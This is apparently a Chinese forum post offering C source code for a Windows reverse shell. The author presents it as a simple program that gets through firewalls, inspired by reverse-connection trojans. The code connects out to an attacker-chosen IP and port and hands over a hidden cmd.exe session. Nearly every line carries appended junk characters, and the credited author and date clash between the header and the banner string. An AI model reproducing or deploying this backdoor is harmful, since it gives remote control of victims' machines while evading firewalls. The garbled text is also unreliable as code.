这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ve6x/ PD
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/* ============================== 4Q$!c{Y
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Rebound port in Windows NT h+5@I%WX
By wind,2006/7 LGAX"/LX
===============================*/ A4}#U=3tI
#include .ByU
#include b22LT52
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#pragma comment(lib,"wsock32.lib") db'K!M)
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void OutputShell(); eJW[ ] !
SOCKET sClient; 4?
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; j"i#R1T
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void main(int argc,char **argv) UP?D@ogl<
{ j6HR&vIM
WSADATA stWsaData; 2p+C%"n>
int nRet; Et.j1M|g
SOCKADDR_IN stSaiClient,stSaiServer; ~oo'ky*H!
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if(argc != 3) sSz%V[XWL
{ %/Bvy*X&
printf("Useage:\n\rRebound DestIP DestPort\n"); 0lBat_<8
return; ldYeX+J
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} {!MVc<G.
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WSAStartup(MAKEWORD(2,2),&stWsaData); tq0;^L
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jx'2N~$
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stSaiClient.sin_family = AF_INET; vcwK6G
stSaiClient.sin_port = htons(0); i_NJ -K
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); fQP,=
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1g~y]iQ
{ A*R n<{U
printf("Bind Socket Failed!\n"); o _(0
return; 7pP+5&*
} 95[wM6?J
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stSaiServer.sin_family = AF_INET; IqNpLh|[
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rpSr^slr
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) l1|~
{ }I]W'<jY
printf("Connect Error!"); /h7.oD8CU
return; P2t_T'R}
} E0<)oQ0Xa>
OutputShell(); "ee'2O
} zA,/@/'(
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void OutputShell() Ox|TMSb^
{ >(OYK}ZN
char szBuff[1024]; HS7_MGU
SECURITY_ATTRIBUTES stSecurityAttributes; Co[n--@C
OSVERSIONINFO stOsversionInfo; (_U^
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -,|ha>r
STARTUPINFO stStartupInfo; -Uri|^t
char *szShell; 7=vYO|a/4
PROCESS_INFORMATION stProcessInformation; W_%W%i|
unsigned long lBytesRead; ^4 8\>-Q\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); wA631kr
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ogJ<e_m
stSecurityAttributes.lpSecurityDescriptor = 0; nPOO3!<{
stSecurityAttributes.bInheritHandle = TRUE; 3}j1RYtz
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); VKNp,Lf
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `R0Y+#$8h
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4\HsU9x
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z(`r -}f I
stStartupInfo.wShowWindow = SW_HIDE; rnH}#u+
stStartupInfo.hStdInput = hReadPipe; rH.gF43O:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6rT4iC3Q{
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GetVersionEx(&stOsversionInfo); {-h, ZdH^
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switch(stOsversionInfo.dwPlatformId) S/fW/W*/}
{ ;y OD
case 1: MJ\r 4n
szShell = "command.com"; +sRP<as
break; `s%QeAde
default: .it2NS
szShell = "cmd.exe"; 'in@9XO
break; kW+G1|
} ).Gd1pE
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $kl$D"*0
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send(sClient,szMsg,77,0); @hsbq
while(1) x2m]Us@LIU
{ LipxAE?O
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9~~UM<66W
if(lBytesRead) np=kTJ
{ V^2-_V]8
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \K}aQKB/j
send(sClient,szBuff,lBytesRead,0); 8YKQItK
} ~#Aa Ldq
else B2(,~^39
{ b2s~%}T
lBytesRead=recv(sClient,szBuff,1024,0); s7"i.A
if(lBytesRead<=0) break; Z/7dg-$?'0
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^j=bObaX
} ${>DhfF
} Sr"/-
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return; jA<T p}$!
}